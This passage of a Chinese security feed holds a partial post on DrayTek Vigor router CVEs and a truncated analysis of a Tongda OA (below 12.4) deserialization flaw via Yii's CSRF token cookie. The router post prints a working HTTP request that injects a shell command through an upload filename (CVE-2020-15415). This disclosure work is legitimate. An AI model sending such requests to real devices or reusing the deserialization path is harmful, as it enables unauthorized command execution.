data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://bestwing.me/drayteck-vigor-vulnerability-disclosure.html" target="_blank">https://bestwing.me/drayteck-vigor-vulnerability-disclosure.html</a></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;">全poc</h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://github.com/Cossack9989/Vulns/blob/d9f9fad0e967859cc119a9d3c31e90adc17c655f/IoT/CVE-2020-14472.md?plain=1#L4" target="_blank">https://github.com/Cossack9989/Vulns/blob/d9f9fad0e967859cc119a9d3c31e90adc17c655f/IoT/CVE-2020-14472.md?plain=1#L4</a></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;">CVE-2020-15415</h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在1.5.1版本下，当访问cgi-bin/mainfunction.cgi/cvmcfgupload这个路径时，如果content type为text/x-python-script，则在filename中存在命令注入。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1559792027729636" data-s="300,640" style="" data-type="png" data-w="577" src="https://wechat2rss.xlab.app/img-proxy/?k=d50f0fdb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wiclJQUu1pMt9JhPxmjkuiaRUMq32cf55gAdJAE6GFoU30ZlL24wfDCRoQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 12px;"></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">跟进sub_12F24</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2633333333333333" data-s="300,640" style="" data-type="jpeg" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=ec0929f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicjwphWzg1GHM2Ugb69PuMiaSSFxSk4ic1PXwpiaNndnnNepGuXdgXNJGnQ%2F640%3Fwx_fmt%3Djpeg"/></p><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 12px;"></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">命令拼接触发点如下</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2633333333333333" data-s="300,640" style="" data-type="jpeg" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=ec0929f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicjwphWzg1GHM2Ugb69PuMiaSSFxSk4ic1PXwpiaNndnnNepGuXdgXNJGnQ%2F640%3Fwx_fmt%3Djpeg"/></p><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 12px;"></figcaption></figure><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;">poc</h4><pre data-tool="mdnice编辑器" style="box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin-right: auto;margin-left: auto;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">POST /cgi-bin/mainfunction.cgi/cvmcfgupload?1=2 HTTP/1.1Host: xxx.xxx.xxx.xxx:xxxxContent-Length: 174Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh,en;q=0.9,zh-CN;q=0.8,la;q=0.7Connection: close------WebKitFormBoundary`Content-Disposition: form-data; name=&#34;abc&#34;; filename=&#34;t&#39;;id;echo &#39;1_&#34;`Content-Type: text/x-python-script`------WebKitFormBoundary--`</p></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;">[无真实poc]CVE-2020-19664</h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://github.com/peanuts62/bug_poc" target="_blank">https://github.com/peanuts62/bug_poc</a></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;">[无poc]CNVD-2021-28718</h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">DrayTek Vigor2960 1.5.1.2</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;">[无poc]CNVD-2021-28719</h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">DrayTek Vigor2960 1.5.1.2</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;">[无poc]CVE-2021-43118</h3><span style="font-size: 15px;display: block;text-align: center;margin-top: 50px;color: #999;border-bottom: 1px solid #eee;">- END -</span></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e266d3c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wic1nng86NXpPvFKwK1E5uic6gZ7Pqc3d5PulwibzrjqT9Jdq23eXT8Vpfg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d2c84d87&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicJOOKYoosEk86Ep4jUbJfFibsx66BWk8J4ZS32ud1EHwgLreRYSah13Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=93f670d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicoPDDumKM3IKcM8sI0A7spu2wdGafzW6SUyHKZ4g2ILliazH89ichF7bQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2914bed6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicj8Iibjb78QAaTMEpU6subJPpfYB0WZbM9ymHEmdmM2ZwXZpULF3VAIw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=fbfa3715&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wic8KJicUf4FGMVqLD73zp3uqDqwh2kZSHPcD5KgDiccB9yJu2Wkd7FJTiaw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e20bc335&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicEQDocBJTbOn1R8TJTz58MRcbLA7eb0CYwDwufW28micLp7wibY1c5Fqw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=07c8c7b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicacfLEp3oTMMPpSrCZ0qzXVXm6YGUgm0cb63j9BjMHKtPnBS7AicJ8FA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=aae0c50c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicbc63EtibtfrtsGJibJTdfUDyOdHkNtJTKSGOJzMXxOicZPVbnQGYXW54w%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d9b63022&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicvgul1x1KYVBFPSKojLWKricK44Xt2pg5DRysqykVXnhmwX45JBZcr1Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f3f3282b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicbxRU6IqHeBkiahR9GM94MbWKX6pvbrI3X6FToPaaqjqsrvDjc6nb37A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=194fcf7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wiccj5Jaib0NtpVUavUVdCO9piar6iaq5RHmnEuNeyeGgAth0Fyibicunia0JhQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d50f0fdb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wiclJQUu1pMt9JhPxmjkuiaRUMq32cf55gAdJAE6GFoU30ZlL24wfDCRoQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ec0929f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicjwphWzg1GHM2Ugb69PuMiaSSFxSk4ic1PXwpiaNndnnNepGuXdgXNJGnQ%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ec0929f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCd8VHxn02fwlYWd2d6eJ6wicjwphWzg1GHM2Ugb69PuMiaSSFxSk4ic1PXwpiaNndnnNepGuXdgXNJGnQ%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="2247483995">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5f245af3&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483995%26idx%3D1%26sn%3D6306013d788a3ea565c95914eb9e733b">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 14 Oct 2023 18:30:00 +0800</pubDate>
    </item>
    <item>
      <title>通达OA &lt;12.4 反序列化漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483951&amp;idx=1&amp;sn=99d21c14d121ffe4d9b4d2f62ff1cfea</link>
      <description>通达OA &lt; 12.4 反序列化漏洞分析</description>
      <content:encoded><![CDATA[<p>
原创 <span>aspir1ng</span> <span>2023-10-13 17:03</span> <span style="display: inline-block;">北京</span>
</p>

<p>通达OA < 12.4 反序列化漏洞分析</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3e2276f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCf4f2TtyGq6KhibpjRc6JKA7dA9cnGO8hr0d6lsuKqFMx5JkYGhVZnB7IIWibhun7DMa5fu5YAt0Mkg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;margin-top: -10px;"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;">0x00 前置知识和准备</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;">1.yii版本和源码准备</h3><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">查看通达oa 11.10使用的yii框架版本是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">2.0.13-dev</p>，该版本在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">inc/vendor/yii2/yiisoft/yii2/BaseYii.php</p>（<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">yii/BaseYii</p>）的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getVersion</p>方法可以查看。由于通达oa解密后的代码会对yii框架部分代码有影响，会出现乱码的情况，所以建议找到对应版本后上yii仓库下载源码。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">static</span> <span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">getVersion</span><span style="line-height: 26px;">()</span> </span>{  <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #98c379;line-height: 26px;">&#34;2.0.13-dev&#34;</span>; }</p></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;">2.yii csrftoken配置方法</h3><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">单个controller开启：</p></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在控制器中设置</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">public $enableCsrfValidation = true;</p></pre><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">全局开启：</p></li></ul><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在yii框架的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/config/main.php</p>设置</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">request =&gt; [    <span style="color: #98c379;line-height: 26px;">&#39;enableCookieValidation&#39;</span> =&gt; <span style="color: #c678dd;line-height: 26px;">true</span>,]</p></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">yii框架默认是开启这个设置的。</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">针对提交的数据流进行设置</p></li></ul><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通达oa在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">inc/vendor/yii2/yiisoft/yii2/web/Request.php</p>页面中，设置<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">public $enableCsrfValidation = true;$enableCsrfValidation = true;</p>（默认）</div><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">还可以设置beforeAction在某些方法之前进行csrf token、afterAction在某些方法之后进行csrf token、表单设置、ajax异步post请求设置，这些其他模式设置csrf token请查看《Yii2 关闭和打开csrf 验证》。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;">3.yii csrftoken http报文格式</h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">Cookie中_csrf的参数，格式大致如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">Cookie: _csrf=[0-9a-zA-Z]a:2:{i:0;s:5:&#34;_csrf&#34;;i:1;s:32:&#34;[0-9a-zA-Z]&#34;}</p></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">a开始就是序列化的数组数据。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">例如：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">Cookie: _csrf=1e21c37c4e981a0a44b6ae2c6af5f73007458c445682db139b040fc8262a9266a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22brBzjgY3PLWqhQtyweObnwZg74YP17Fn%22%3B%7D;</p></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过这些可以看到该漏洞的利用条件如下：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">yii csrf token开启（默认开启）</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><strong style="color: black;">只能影响到yii框架函数request类请求的数据流，php原生请求方式不受影响。</strong></p></li></ul><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;">0x01 漏洞分析</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;">1.反序列化触发点csrfMetaTags</h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">yii框架csrf token生成的时候会生成一部分序列化数据，校验该token需要对这部分序列化数据进行反序列化校验。</p><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">yii/helpers/BaseHtml</p>的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">csrfMetaTags</p>方法是生成csrftoken后将其放在html的meta标签里面的方法。yii默认是开启csrf校验的，所以<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$request-&gt;enableCsrfValidation</p>默认为true，默认就会调用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">yii/web/Request::getCsrfToken</p>方法获取csrf token。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="color: #c678dd;line-height: 26px;">static</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">csrfMetaTags</span><span style="line-height: 26px;">()</span>    </span>{        $request = Yii::$app-&gt;getRequest();        <span style="color: #5c6370;font-style: italic;line-height: 26px;">// $request是framework/web/Request.php Request类</span>        <span style="color: #c678dd;line-height: 26px;">if</span> ($request <span style="color: #c678dd;line-height: 26px;">instanceof</span> Request &amp;&amp; $request-&gt;enableCsrfValidation) {            <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">static</span>::tag(<span style="color: #98c379;line-height: 26px;">&#39;meta&#39;</span>, <span style="color: #98c379;line-height: 26px;">&#39;&#39;</span>, [<span style="color: #98c379;line-height: 26px;">&#39;name&#39;</span> =&gt; <span style="color: #98c379;line-height: 26px;">&#39;csrf-param&#39;</span>, <span style="color: #98c379;line-height: 26px;">&#39;content&#39;</span> =&gt; $request-&gt;csrfParam]) . <span style="color: #98c379;line-height: 26px;">&#34;\n    &#34;</span>                . <span style="color: #c678dd;line-height: 26px;">static</span>::tag(<span style="color: #98c379;line-height: 26px;">&#39;meta&#39;</span>, <span style="color: #98c379;line-height: 26px;">&#39;&#39;</span>, [<span style="color: #98c379;line-height: 26px;">&#39;name&#39;</span> =&gt; <span style="color: #98c379;line-height: 26px;">&#39;csrf-token&#39;</span>, <span style="color: #98c379;line-height: 26px;">&#39;content&#39;</span> =&gt; $request-&gt;getCsrfToken()]) . <span style="color: #98c379;line-height: 26px;">&#34;\n&#34;</span>;        }        <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #98c379;line-height: 26px;">&#39;&#39;</span>;    }<span style="color: #5c6370;font-style: italic;line-height: 26px;">//framework/web/Request.php </span><span style="color: #c678dd;line-height: 26px;">public</span> $enableCsrfValidation = <span style="color: #c678dd;line-height: 26px;">true</span>;</p></pre><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">跟进<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getCsrfToken</p>方法，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;_csrfToken</p>可控，设置为null，从而能继续进入<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;loadCsrfToken()</p>。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">getCsrfToken</span><span style="line-height: 26px;">($regenerate = false)</span>    </span>{        <span style="color: #5c6370;font-style: italic;line-height: 26px;">//可设置 $this-&gt;_csrfToken = null</span>        <span style="color: #c678dd;line-height: 26px;">if</span> (<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_csrfToken === <span style="color: #c678dd;line-height: 26px;">null</span> || $regenerate) {            <span style="color: #c678dd;line-height: 26px;">if</span> ($regenerate || ($token = <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;loadCsrfToken()) === <span style="color: #c678dd;line-height: 26px;">null</span>)            {                $token = <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;generateCsrfToken();            }            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_csrfToken = Yii::$app-&gt;security-&gt;maskToken($token);        }        <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_csrfToken;    }</p></pre><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;loadCsrfToken()</p>由于<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;enableCsrfCookie</p>默认就为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: 